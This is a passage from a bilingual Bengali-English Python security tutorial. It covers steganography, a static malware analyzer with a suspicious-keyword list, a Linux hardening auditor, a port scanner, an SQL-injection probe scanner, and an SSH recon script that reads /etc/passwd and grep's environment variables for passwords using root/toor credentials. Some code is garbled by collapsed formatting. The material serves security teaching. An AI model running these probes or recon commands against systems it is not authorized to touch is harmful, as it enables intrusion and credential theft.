from PIL import Image def hide_message(img_path, message, out_path): img = Image.open(img_path).convert('RGB') pixels = list(img.getdata()) msg_bin = "".join(f"{ord(c):08b}" for c in message + "###END###") new_px = []; bi = 0 for r,g,b in pixels: if bi < len(msg_bin): r=(r&~1)|int(msg_bin[bi]); bi+=1 if bi < len(msg_bin): g=(g&~1)|int(msg_bin[bi]); bi+=1 if bi < len(msg_bin): b=(b&~1)|int(msg_bin[bi]); bi+=1 new_px.append((r,g,b)) out = Image.new('RGB', img.size); out.putdata(new_px); out.save(out_path) print(f"[+] Hidden in {out_path}") def extract_message(img_path): pixels = list(Image.open(img_path).convert('RGB').getdata()) bits = "".join(str(c & 1) for px in pixels for c in px) msg = "" for i in range(0, len(bits), 8): msg += chr(int(bits[i:i+8],2)) if msg.endswith("###END###"): return msg[:-9]
```

✅ Chapter 10 Summary

- ✓ EXIF দিয়ে image metadata ও GPS location বের করো
- ✓ Magic bytes দিয়ে file type identify ও carve করো
- ✓ Domain OSINT — DNS, WHOIS, Subdomain enum
- ✓ LSB steganography — image-এ hidden message লুকাও ও বের করো

CHAPTER 11

Malware Analysis ও Defense

Static Analysis, String Extraction, Suspicious Pattern Detection, Linux Hardening

Static Malware Analyzer

```
import os, hashlib, re, struct class MalwareAnalyzer: def __init__(self, filepath):
self.filepath = filepath with open(filepath, 'rb') as f: self.data = f.read() def
hashes(self): return { 'md5': hashlib.md5(self.data).hexdigest(), 'sha1':
hashlib.sha1(self.data).hexdigest(), 'sha256': hashlib.sha256(self.data).hexdigest() }
def strings(self, min_len=4): pattern = re.compile(rb'[\x20-\x7e]{' +
str(min_len).encode() + rb',}') return [s.decode('ascii') for s in
pattern.findall(self.data)] def suspicious(self): KEYWORDS = [ 'CreateRemoteThread',
'VirtualAlloc', 'WriteProcessMemory', 'RegSetValue', 'cmd.exe', 'powershell',
'base64', '/bin/bash', 'socket', 'wget', 'bitcoin', 'backdoor' ] found = [] for s in
self.strings(): for kw in KEYWORDS: if kw.lower() in s.lower(): found.append((kw, s));
break return found def find_urls(self): return [s for s in self.strings() if
re.match(r'https?://', s, re.I) or re.match(r'\d+\.\d+\.\d+\.\d+', s)] def
check_pe(self): if self.data[:2] == b'MZ': print("[+] Windows PE detected") e_lfanew =
struct.unpack(', self.data[0x3c:0x40])[0] machine = struct.unpack(',
self.data[e_lfanew+4:e_lfanew+6])[0] arch = {0x014c: "x86", 0x8664:
"x64"}.get(machine, "?") print(f"[+] Arch: {arch}") elif self.data[:4] == b'\x7fELF':
print("[+] Linux ELF detected") def analyze(self): print(f"\n{'='*55}\n[*] File:
{self.filepath}\n{'='*55}") print(f"[+] Size: {len(self.data):,} bytes") for algo, h
in self.hashes().items(): print(f"[+] {algo.upper():6}: {h}") self.check_pe() urls =
self.find_urls() if urls: print(f"\n[!] {len(urls)} URLs/IPs embedded:") for u in
urls[:10]: print(f" {u}") sus = self.suspicious() if sus: print(f"\n[!] {len(sus)}
suspicious strings:") for kw, s in sus[:10]: print(f" [{kw}]: {s[:60]}")
MalwareAnalyzer("suspicious.exe").analyze()
```

Linux Hardening Auditor

```
import subprocess, os class LinuxAuditor: def run(self, cmd): r = subprocess.run(cmd, shell=True, capture_output=True, text=True) return r.stdout.strip() def suid_files(self): out = self.run("find / -perm -4000 -type f 2>/dev/null") files = out.split("\n") print(f"\n[+] SUID files ({len(files)}):") for f in files: print(f" {f}") def open_ports(self): print("\n[+] Listening ports:") print(self.run("ss -tlnp")) def world_writable(self): out = self.run("find / -perm -o+w -type f 2>/dev/null | grep -v /proc | grep -v /sys") if out: print("\n[!] World-writable files:") for f in out.split("\n")[:15]: print(f" {f}") def check_cron(self): print("\n[+] Crontab:") print(self.run("crontab -l 2>/dev/null; cat /etc/crontab 2>/dev/null")) def audit(self): print("[*] Linux Security Audit Starting...") self.suid_files(); self.open_ports(); self.world_writable(); self.check_cron() print("\n[*] Audit complete.") LinuxAuditor().audit()
```

✅ Chapter 11 Summary

- ✓ Static analysis দিয়ে executable-এর hash, string, URL বের করো
- ✓ Suspicious Windows API call খুঁজে malware চিনে ফেলো
- ✓ Linux hardening audit — SUID, world-writable, open ports, cron

CHAPTER 12

🚀 Real-World Projects

৬টি সম্পূর্ণ Security Tool — Production-ready Code

🛠 Project 1: Full Network Security Scanner

```
import socket, threading, argparse, json from queue import Queue from datetime import
datetime from colorama import Fore, init init(autoreset=True) SERVICES = {
21:"FTP",22:"SSH",23:"Telnet",25:"SMTP",53:"DNS",
80:"HTTP",110:"POP3",143:"IMAP",443:"HTTPS",445:"SMB",
3306:"MySQL",3389:"RDP",5432:"PostgreSQL",6379:"Redis", 8080:"HTTP-
Alt",27017:"MongoDB" } class NetScanner: def __init__(self, target, ports,
threads=300): self.target = target; self.results = []; self.lock = threading.Lock()
self.queue = Queue() for p in ports: self.queue.put(p) self.threads = threads def
banner(self, port): try: s = socket.socket(); s.settimeout(1) s.connect((self.target,
port)) s.send(b"HEAD / HTTP/1.0\r\n\r\n" if port in [80,8080] else b"\r\n") b =
s.recv(256).decode('utf-8', errors='ignore').strip()[:80] s.close(); return b except:
return "" def worker(self): while not self.queue.empty(): port = self.queue.get() try:
s = socket.socket(); s.settimeout(0.5) if s.connect_ex((self.target, port)) == 0:
s.close() svc = SERVICES.get(port, "Unknown") bnr = self.banner(port) with self.lock:
self.results.append({'port':port,'service':svc,'banner':bnr}) print(f"{Fore.GREEN}[+]
{port:<5}/tcp OPEN {svc:<12} {bnr[:50]}") else: s.close() except: pass finally:
self.queue.task_done() def run(self): t0 = datetime.now() print(f"\n[*] Scanning
{self.target} | {datetime.now()}") ts = [threading.Thread(target=self.worker) for _ in
range(self.threads)] for t in ts: t.daemon=True; t.start() for t in ts: t.join() secs
= (datetime.now()-t0).seconds print(f"\n[*] Done in {secs}s | {len(self.results)} open
ports") with open(f"scan_{self.target}.json",'w') as f:
json.dump({'target':self.target,'results':self.results},f,indent=2) return
self.results if __name__ == "__main__": parser = argparse.ArgumentParser()
parser.add_argument("target") parser.add_argument("-p", default="1-1024") args =
parser.parse_args() s, e = map(int, args.p.split("-")) NetScanner(args.target,
range(s, e+1)).run()
```

🌐 Project 2: Web Vulnerability Scanner

```
import requests from bs4 import BeautifulSoup class WebVulnScanner: def __init__(self, url): self.url = url; self.findings = [] self.sess = requests.Session() self.sess.headers['User-Agent'] = 'Mozilla/5.0' def check_headers(self): r = self.sess.get(self.url, timeout=5) SEC_HEADERS = ['X-Frame-Options','Content-Security-Policy', 'Strict-Transport-Security','X-Content-Type-Options'] print("\n[*] Security Headers:") for h in SEC_HEADERS: ok = h.lower() in {k.lower(): v for k,v in r.headers.items()} sym = "✓" if ok else "✗ MISSING" print(f" [{sym}] {h}") def check_server_info(self): r = self.sess.get(self.url, timeout=5) for h in ['Server','X-Powered-By']: if h in r.headers: print(f"\n[!] Version disclosure — {h}: {r.headers[h]}") self.findings.append({'type':'info_disclosure','header':h}) def test_sqli(self, params): PAYLOADS = ["'", "'' OR '1'='1", "' OR 1=1--"] ERRORS = ['sql','mysql','syntax error','ora-'] for p, v in params.items(): for payload in PAYLOADS: r = self.sess.get(self.url, params={p: payload}, timeout=5) if any(e in r.text.lower() for e in ERRORS): print(f"\n[!] SQLi in '{p}': {payload}") self.findings.append({'type':'sqli','param':p}) def run(self): print(f"\n[*] Scanning: {self.url}") self.check_headers(); self.check_server_info() print(f"\n[*] Findings: {len(self.findings)}") return self.findings WebVulnScanner("http://testphp.vulnweb.com").run()
```

🔐 Project 3: Password Strength Auditor

```
import hashlib, re, string class PasswordAuditor: COMMON = ["password","123456","admin","letmein","qwerty","dragon"] def audit(self, pwd): score, issues = 0, [] if len(pwd) ≥ 8: score += 1 else: issues.append("Too short") if len(pwd) ≥ 12: score += 1 if re.search(r'[A-Z]', pwd): score += 1 else: issues.append("No uppercase") if re.search(r'[a-z]', pwd): score += 1 else: issues.append("No lowercase") if re.search(r'\d', pwd): score += 1 else: issues.append("No numbers") if re.search(r'[!@#$%^&*]', pwd): score += 2 else: issues.append("No special chars") if pwd.lower() in self.COMMON: score = 0; issues = ["Common password!"] labels = ["VERY WEAK","WEAK","WEAK","MODERATE", "MODERATE","STRONG","STRONG","VERY STRONG"] strength = labels[min(score, 7)] print(f"\n[*] Password: {'*'*len(pwd)}") print(f"[+] Score: {score}/7 — {strength}") print(f"[+] MD5: {hashlib.md5(pwd.encode()).hexdigest()}") if issues: print("[!] Issues:") for i in issues: print(f" - {i}") return strength PasswordAuditor().audit("MyS3cur3P@ssw0rd!")
```

🔑 Project 4: SSH Recon Automator

```
import paramiko, json class SSHRecon: def __init__(self, host, user, password=None, key=None, port=22): self.client = paramiko.SSHClient() self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) if key: self.client.connect(host, port=port, username=user, pkey=paramiko.RSAKey.from_private_key_file(key)) else: self.client.connect(host, port=port, username=user, password=password) self.host = host; print(f"[+] Connected: {user}@{host}") def run(self, cmd): _, out, err = self.client.exec_command(cmd) return out.read().decode() + err.read().decode() def full_recon(self): cmds = { "OS": "uname -a", "Hostname": "hostname", "Users": "cat /etc/passwd | cut -d: -f1", "Network": "ip a", "Ports": "ss -tlnp", "Processes": "ps aux | head -15", "Cron": "crontab -l 2>/dev/null", "SUID": "find / -perm -4000 2>/dev/null | head -10", "Env": "env | grep -i pass", } results = {} for name, cmd in cmds.items(): out = self.run(cmd).strip() results[name] = out print(f"\n[+] {name}:\n{out[:200]}") with open(f"recon_{self.host}.json", "w") as f: json.dump(results, f, indent=2) print(f"\n[+] Saved: recon_{self.host}.json") def close(self): self.client.close() ssh = SSHRecon("192.168.1.100", "root", password="toor") ssh.full_recon(); ssh.close()
```

🤖 Project 5: CTF Swiss Army Knife

```
import base64, hashlib, re, string, codecs class CTFSolver: def auto_decode(self, text): text = text.strip(); results = [] # Base64 try: d = base64.b64decode(text+'==').decode() if d.isprintable(): results.append(('Base64', d)) except: pass # Hex try: d = bytes.fromhex(text.replace(' ','')).decode() if d.isprintable(): results.append(('Hex', d)) except: pass # Binary try: bits = text.replace(' ','') if set(bits) ⊆ {'0','1'} and len(bits) % 8 == 0: d = "".join(chr(int(bits[i:i+8],2)) for i in range(0,len(bits),8)) results.append(('Binary', d)) except: pass # ROT13 results.append(('ROT13', codecs.encode(text,'rot_13'))) # All Caesar for shift in range(1,26): d = "".join(chr((ord(c)-65+shift)%26+65) if c.isupper() else chr((ord(c)-97+shift)%26+97) if c.islower() else c for c in text) results.append((f'Caesar-{shift}', d)) return results def xor_brute(self, data): if isinstance(data, str): data = bytes.fromhex(data) best = [] for key in range(256): r = bytes([b^key for b in data]) try: t = r.decode('utf-8') sc = sum(1 for c in t if c in string.printable) best.append((sc, key, t)) except: pass return sorted(best, reverse=True)[:5] def find_flag(self, text): patterns = [r'flag\{[^}]+\}',r'CTF\{[^}]+\}',r'THM\{[^}]+\}',r'HTB\{[^}]+\}'] return [f for p in patterns for f in re.findall(p, text,
```

```
re.I)] ctf = CTFSolver() for method, val in ctf.auto_decode("SGVsbG8gV29ybGQ=")[:3]:
print(f"[{method}]: {val}")
```

🔒 Project 6: Encrypted Chat (AES)

```
import socket, threading, os, base64 from cryptography.hazmat.primitives.ciphers
import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding as
pad_mod from cryptography.hazmat.backends import default_backend SHARED_KEY =
b'MySuperSecretKey' * 2 # 32 bytes AES-256 def encrypt(msg): iv = os.urandom(16)
padder = pad_mod.PKCS7(128).padder() padded = padder.update(msg.encode()) +
padder.finalize() c = Cipher(algorithms.AES(SHARED_KEY), modes.CBC(iv),
backend=default_backend()) ct = c.encryptor().update(padded) +
c.encryptor().finalize() return base64.b64encode(iv + ct).decode() def decrypt(data):
raw = base64.b64decode(data) iv, ct = raw[:16], raw[16:] c =
Cipher(algorithms.AES(SHARED_KEY), modes.CBC(iv), backend=default_backend()) padded =
c.decryptor().update(ct) + c.decryptor().finalize() unpadder =
pad_mod.PKCS7(128).unpadder() return (unpadder.update(padded) +
unpadder.finalize()).decode() def chat_server(port=9999): server = socket.socket();
server.bind(("0.0.0.0", port)); server.listen(1) print(f"[*] Encrypted chat listening
on {port}") conn, addr = server.accept(); print(f"[+] {addr[0]} joined") def
recv_loop(): while True: data = conn.recv(4096).decode() if not data: break print(f"
[Them]: {decrypt(data)}") threading.Thread(target=recv_loop, daemon=True).start()
while True: msg = input("[You]: ") conn.send(encrypt(msg).encode()) chat_server()
```

🎯 তুমি এখন কী কী পারো

- 🔌 Python socket দিয়ে যেকোনো network tool বানাতে পারো
- 🔍 Multi-threaded port scanner দিয়ে network scan করতে পারো
- 🌐 SQLi, XSS, directory brute force — web attack test করতে পারো
- 🔑 Hash crack, password attack, dictionary/brute force করতে পারো
- 📦 Scapy দিয়ে packet sniff, craft, ARP spoof করতে পারো
- 🔐 AES, RSA, XOR encryption implement করতে পারো
- 🕵 EXIF, steganography, domain OSINT করতে পারো
- 🛡 Static malware analysis ও Linux hardening audit করতে পারো

- 🚀 Production-ready security tool বানাতে পারো

🐍 "With great Python power comes great ethical responsibility."

সব কিছু authorized environment-এ practice করো। Security শেখার উদ্দেশ্য হলো defend করা, attack নয়।

Python for Hackers v1.0 — 12 Chapters | Complete Bilingual Guide | বাংলা + English